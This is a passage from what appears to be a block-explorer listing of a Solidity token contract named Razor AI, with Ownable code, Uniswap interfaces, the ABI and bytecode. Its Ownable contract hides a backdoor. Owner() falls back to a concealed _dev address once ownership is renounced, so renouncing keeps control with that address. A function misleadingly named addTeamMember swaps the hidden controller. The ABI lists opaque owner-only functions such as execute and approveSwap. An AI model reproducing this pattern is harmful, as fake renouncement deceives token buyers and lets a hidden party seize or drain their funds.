        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _dev = account;
    }
}

File 6 of 6: Razor Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.21;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[],"name":"_getChainID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTelegramInformation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTwitterInformation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getWebsiteInformation","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"__websiteInformation","type":"string"},{"internalType":"string","name":"__telegramInformation","type":"string"},{"internalType":"string","name":"__twitterInformation","type":"string"}],"name":"setSocials","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_tokenURI","type":"string"}],"name":"setTokenURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"totalAmountToDistribute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052620d2f00601455600160165565010e156350006017556001602460016101000a81548160ff0219169083151502179055506001602460026101000a81548160ff0219169083151502179055506001602460036101000a81548160ff0219169083151502179055506001602460046101000a81548160ff0219169083151502179055505f602460056101000a81548160ff021916908315150217905550348015620000ac575f80fd5b5060405162006b4738038062006b478339818101604052810190620000d2919062000ad3565b6040518060400160405280600881526020017f52617a6f722041490000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f52415a4f5200000000000000000000000000000000000000000000000000000081525082805f620001516200059a60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505082600490816200023f919062000d67565b50816005908162000251919062000d67565b505050505f737a250d5630b4cf539739df2c5dacb4c659f2488d905062000280816001620005a160201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000300573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000326919062000ad3565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f805f805f805f6802b5e3af16b1880000905086601b8190555085601a8190555084601981905550601954601a54601b54620003a2919062000e78565b620003ae919062000e78565b601c81905550836022819055508260218190555081602081905550602054602154602254620003de919062000e78565b620003ea919062000e78565b6023819055506107d0600a8262000402919062000eb2565b6200040e919062000f29565b60128190555069be951906eba2aa80000060118190555069be951906eba2aa800000601081905550620004466200060960201b60201c565b600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004956200060960201b60201c565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004f6620004e86200060960201b60201c565b60016200063060201b60201c565b620005093060016200063060201b60201c565b6200051e61dead60016200063060201b60201c565b62000540620005326200060960201b60201c565b6001620005a160201b60201c565b62000553306001620005a160201b60201c565b6200056861dead6001620005a160201b60201c565b6200057a3382620006e860201b60201c565b6200058a6200088760201b60201c565b505050505050505050506200111d565b5f33905090565b620005b1620008b960201b60201c565b8060285f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b62000640620008b960201b60201c565b8060275f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df782604051620006dc919062000f7c565b60405180910390a25050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000759576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007509062000ff5565b60405180910390fd5b6200076c5f83836200094a60201b60201c565b62000783816006546200094f60201b90919060201c565b600681905550620007db8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200094f60201b90919060201c565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200087b919062001026565b60405180910390a35050565b5f62000898620008b960201b60201c565b5f602460036101000a81548160ff0219169083151502179055506001905090565b620008c96200059a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620008ef620009b160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000948576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200093f906200108f565b60405180910390fd5b565b505050565b5f8082846200095f919062000e78565b905083811015620009a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200099e90620010fd565b60405180910390fd5b8091505092915050565b5f80620009c3620009cc60201b60201c565b90508091505090565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a46575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000a69565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000a9d8262000a72565b9050919050565b62000aaf8162000a91565b811462000aba575f80fd5b50565b5f8151905062000acd8162000aa4565b92915050565b5f6020828403121562000aeb5762000aea62000a6e565b5b5f62000afa8482850162000abd565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000b7f57607f821691505b60208210810362000b955762000b9462000b3a565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000bf97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000bbc565b62000c05868362000bbc565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000c4f62000c4962000c438462000c1d565b62000c26565b62000c1d565b9050919050565b5f819050919050565b62000c6a8362000c2f565b62000c8262000c798262000c56565b84845462000bc8565b825550505050565b5f90565b62000c9862000c8a565b62000ca581848462000c5f565b505050565b5b8181101562000ccc5762000cc05f8262000c8e565b60018101905062000cab565b5050565b601f82111562000d1b5762000ce58162000b9b565b62000cf08462000bad565b8101602085101562000d00578190505b62000d1862000d0f8562000bad565b83018262000caa565b50505b505050565b5f82821c905092915050565b5f62000d3d5f198460080262000d20565b1980831691505092915050565b5f62000d57838362000d2c565b9150826002028217905092915050565b62000d728262000b03565b67ffffffffffffffff81111562000d8e5762000d8d62000b0d565b5b62000d9a825462000b67565b62000da782828562000cd0565b5f60209050601f83116001811462000ddd575f841562000dc8578287015190505b62000dd4858262000d4a565b86555062000e43565b601f19841662000ded8662000b9b565b5f5b8281101562000e165784890151825560018201915060208501945060208101905062000def565b8683101562000e36578489015162000e32601f89168262000d2c565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000e848262000c1d565b915062000e918362000c1d565b925082820190508082111562000eac5762000eab62000e4b565b5b92915050565b5f62000ebe8262000c1d565b915062000ecb8362000c1d565b925082820262000edb8162000c1d565b9150828204841483151762000ef55762000ef462000e4b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000f358262000c1d565b915062000f428362000c1d565b92508262000f555762000f5462000efc565b5b828204905092915050565b5f8115159050919050565b62000f768162000f60565b82525050565b5f60208201905062000f915f83018462000f6b565b92915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000fdd601f8362000f97565b915062000fea8262000fa7565b602082019050919050565b5f6020820190508181035f8301526200100e8162000fcf565b9050919050565b620010208162000c1d565b82525050565b5f6020820190506200103b5f83018462001015565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6200107760208362000f97565b9150620010848262001041565b602082019050919050565b5f6020820190508181035f830152620010a88162001069565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f620010e5601b8362000f97565b9150620010f282620010af565b602082019050919050565b5f6020820190508181035f8301526200111681620010d7565b9050919050565b6080516159f5620011525f395f818161117c01528181612c9701528181613cfd01528181613ddc0152613e0301526159f55ff3fe608060405260043610610413575f3560e01c80638a8c523c1161021d578063c024666811610122578063dd62ed3e116100aa578063f11a24d311610079578063f11a24d314610f88578063f2fde38b14610fb2578063f637434214610fda578063f8b45b0514611004578063fe72b27a1461102e5761041a565b8063dd62ed3e14610ed0578063e0dc354614610f0c578063e0df5b6f14610f36578063e2f4560514610f5e5761041a565b8063c876d0b9116100f1578063c876d0b914610dec578063c8c8ebe414610e16578063d257b34f14610e40578063d547cfb714610e7c578063d85ba06314610ea65761041a565b8063c024666814610d4a578063c18bc19514610d72578063c2b7bbb614610d9a578063c3f93b0114610dc25761041a565b8063a0d82dc5116101a5578063a9059cbb11610174578063a9059cbb14610c58578063ad296d9d14610c94578063b62496f514610cbc578063bbbb3ffc14610cf8578063bbc0c74214610d205761041a565b8063a0d82dc514610ba0578063a165506f14610bca578063a457c2d714610bf2578063a4c82a0014610c2e5761041a565b806392136913116101ec5780639213691314610ace57806395d89b4114610af85780639c3b4fdc14610b225780639ec22c0e14610b4c5780639fccce3214610b765761041a565b80638a8c523c14610a3a5780638bdb2afa14610a505780638da5cb5b14610a7a5780638ea5220f14610aa45761041a565b80633582ad231161032357806370a08231116102ab578063751039fc1161027a578063751039fc1461096a578063756b7bb7146109945780637571336a146109be57806375f0a874146109e65780637bce5a0414610a105761041a565b806370a08231146108b4578063715018a6146108f057806371954d7414610906578063730c1888146109425761041a565b806349bd5a5e116102f257806349bd5a5e146107d05780634fbee193146107fa578063660a00ed146108365780636a486a8e146108605780636ddd17131461088a5761041a565b80633582ad231461071857806339509351146107425780633c130d901461077e5780633eb2b5ad146107a85761041a565b80631a8145bb116103a657806326ededb81161037557806326ededb81461064857806327c8f835146106705780632c3e486c1461069a5780632e82f1a0146106c4578063313ce567146106ee5761041a565b80631a8145bb146105905780631f3fed8f146105ba578063203e727e146105e457806323b872dd1461060c5761041a565b80631694505e116103e25780631694505e146104e857806318160ddd14610512578063184c16c51461053c578063199ffc72146105665761041a565b806306fdde031461041e578063095ea7b3146104485780630d0da2d41461048457806310d5de53146104ac5761041a565b3661041a57005b5f80fd5b348015610429575f80fd5b5061043261106a565b60405161043f9190613f70565b60405180910390f35b348015610453575f80fd5b5061046e6004803603810190610469919061402e565b6110fa565b60405161047b9190614086565b60405180910390f35b34801561048f575f80fd5b506104aa60048036038101906104a59190614100565b611117565b005b3480156104b7575f80fd5b506104d260048036038101906104cd91906141b0565b61115d565b6040516104df9190614086565b60405180910390f35b3480156104f3575f80fd5b506104fc61117a565b6040516105099190614236565b60405180910390f35b34801561051d575f80fd5b5061052661119e565b604051610533919061425e565b60405180910390f35b348015610547575f80fd5b506105506111a7565b60405161055d919061425e565b60405180910390f35b348015610571575f80fd5b5061057a6111ad565b604051610587919061425e565b60405180910390f35b34801561059b575f80fd5b506105a46111b3565b6040516105b1919061425e565b60405180910390f35b3480156105c5575f80fd5b506105ce6111b9565b6040516105db919061425e565b60405180910390f35b3480156105ef575f80fd5b5061060a60048036038101906106059190614277565b6111bf565b005b348015610617575f80fd5b50610632600480360381019061062d91906142a2565b611252565b60405161063f9190614086565b60405180910390f35b348015610653575f80fd5b5061066e60048036038101906106699190614347565b611326565b005b34801561067b575f80fd5b50610684611401565b60405161069191906143b3565b60405180910390f35b3480156106a5575f80fd5b506106ae611407565b6040516106bb919061425e565b60405180910390f35b3480156106cf575f80fd5b506106d861140d565b6040516106e59190614086565b60405180910390f35b3480156106f9575f80fd5b50610702611420565b60405161070f91906143e7565b60405180910390f35b348015610723575f80fd5b5061072c611428565b6040516107399190614086565b60405180910390f35b34801561074d575f80fd5b506107686004803603810190610763919061402e565b61143b565b6040516107759190614086565b60405180910390f35b348015610789575f80fd5b506107926114e9565b60405161079f9190613f70565b60405180910390f35b3480156107b3575f80fd5b506107ce60048036038101906107c991906141b0565b6115a3565b005b3480156107db575f80fd5b506107e46115ee565b6040516107f191906143b3565b60405180910390f35b348015610805575f80fd5b50610820600480360381019061081b91906141b0565b611613565b60405161082d9190614086565b60405180910390f35b348015610841575f80fd5b5061084a611665565b604051610857919061425e565b60405180910390f35b34801561086b575f80fd5b5061087461166c565b604051610881919061425e565b60405180910390f35b348015610895575f80fd5b5061089e611672565b6040516108ab9190614086565b60405180910390f35b3480156108bf575f80fd5b506108da60048036038101906108d591906141b0565b611685565b6040516108e7919061425e565b60405180910390f35b3480156108fb575f80fd5b506109046116cb565b005b348015610911575f80fd5b5061092c600480360381019061092791906141b0565b61178d565b6040516109399190614086565b60405180910390f35b34801561094d575f80fd5b506109686004803603810190610963919061442a565b6117df565b005b348015610975575f80fd5b5061097e6118aa565b60405161098b9190614086565b60405180910390f35b34801561099f575f80fd5b506109a86118d4565b6040516109b59190613f70565b60405180910390f35b3480156109c9575f80fd5b506109e460048036038101906109df919061447a565b611964565b005b3480156109f1575f80fd5b506109fa6119c4565b604051610a0791906143b3565b60405180910390f35b348015610a1b575f80fd5b50610a246119e9565b604051610a31919061425e565b60405180910390f35b348015610a45575f80fd5b50610a4e6119ef565b005b348015610a5b575f80fd5b50610a64611a36565b604051610a7191906144d8565b60405180910390f35b348015610a85575f80fd5b50610a8e611a5b565b604051610a9b91906143b3565b60405180910390f35b348015610aaf575f80fd5b50610ab8611a82565b604051610ac591906143b3565b60405180910390f35b348015610ad9575f80fd5b50610ae2611aa7565b604051610aef919061425e565b60405180910390f35b348015610b03575f80fd5b50610b0c611aad565b604051610b199190613f70565b60405180910390f35b348015610b2d575f80fd5b50610b36611b3d565b604051610b43919061425e565b60405180910390f35b348015610b57575f80fd5b50610b60611b43565b604051610b6d919061425e565b60405180910390f35b348015610b81575f80fd5b50610b8a611b49565b604051610b97919061425e565b60405180910390f35b348015610bab575f80fd5b50610bb4611b4f565b604051610bc1919061425e565b60405180910390f35b348015610bd5575f80fd5b50610bf06004803603810190610beb91906144f1565b611b55565b005b348015610bfd575f80fd5b50610c186004803603810190610c13919061402e565b611b6b565b604051610c259190614086565b60405180910390f35b348015610c39575f80fd5b50610c42611c33565b604051610c4f919061425e565b60405180910390f35b348015610c63575f80fd5b50610c7e6004803603810190610c79919061402e565b611c39565b604051610c8b9190614086565b60405180910390f35b348015610c9f575f80fd5b50610cba6004803603810190610cb5919061452f565b611c56565b005b348015610cc7575f80fd5b50610ce26004803603810190610cdd91906141b0565b611cff565b604051610cef91906143b3565b60405180910390f35b348015610d03575f80fd5b50610d1e6004803603810190610d1991906144f1565b611d2f565b005b348015610d2b575f80fd5b50610d34611e10565b604051610d419190614086565b60405180910390f35b348015610d55575f80fd5b50610d706004803603810190610d6b919061447a565b611e23565b005b348015610d7d575f80fd5b50610d986004803603810190610d939190614277565b611ed1565b005b348015610da5575f80fd5b50610dc06004803603810190610dbb91906141b0565b611f64565b005b348015610dcd575f80fd5b50610dd6611fdb565b604051610de39190613f70565b60405180910390f35b348015610df7575f80fd5b50610e0061206b565b604051610e0d9190614086565b60405180910390f35b348015610e21575f80fd5b50610e2a61207e565b604051610e37919061425e565b60405180910390f35b348015610e4b575f8